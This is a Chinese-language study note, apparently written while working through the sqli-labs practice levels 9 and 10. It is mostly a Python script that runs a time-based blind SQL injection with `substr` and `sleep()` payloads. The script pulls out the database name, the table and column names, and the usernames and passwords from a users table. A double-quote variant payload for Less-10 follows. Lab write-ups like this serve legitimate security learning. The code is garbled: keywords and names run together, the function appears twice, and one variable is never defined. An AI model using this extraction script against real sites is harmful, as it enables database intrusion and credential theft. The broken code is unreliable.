ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_@.-" SLEEP_TIME = 1 URL = "http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"
definject(path): start = time.time() response = requests.get(path) end = time.time() if response.status_code == 200and end - start > SLEEP_TIME: returnTrue else: returnFalse
defextract_data(sql): s = "" position = 0 whileTrue: position += 1 # 判断是否为空 res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME)) if res: break # 尝试每个字符 for char in ALPHABET: res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME)) if res: s += char break return s
# 获取数据库名 print(extract_data("database()"))
# 获取表名 print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
# 获取字段名 print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
# 获取用户名和密码 print(extract_data("select group_concat(username,'~',password) from users"))
# 定义一个函数,用于提取数据库、表、字段或数据 defextract_data(sql): s = ""# 初始化一个空字符串,用于存储结果 position = 0# 初始化字符位置计数器 whileTrue: position += 1# 每次循环增加字符位置 # 尝试猜测当前字符位置是否为空 res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME)) if res: break# 如果为空,退出循环 # 遍历所有可能的字符 for char in ALPHABET: # 构造完整的URL并发送请求 res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME)) if res: s += char # 如果猜测正确,将字符添加到结果字符串中 break# 退出循环,继续下一个字符 return s # 返回最终结果字符串
# 获取表名 tables = extract_data("select group_concat(table_name) from information_schema.tables where table_schema='%s'" % database) print(tables)
# 获取字段名 columns = extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'") print(columns)
# 获取用户名和密码,可以替换自己想要的表名 #all = extract_data("select group_concat(id,username,password) from users") #print(all)
我发现把逗号放最前面就不容易丢逗号了。
less10
就是把less9的单引号闭合改为双引号闭合:
1
?id=1" and if(substr(database(),1,1)='s',1,sleep(2)) --+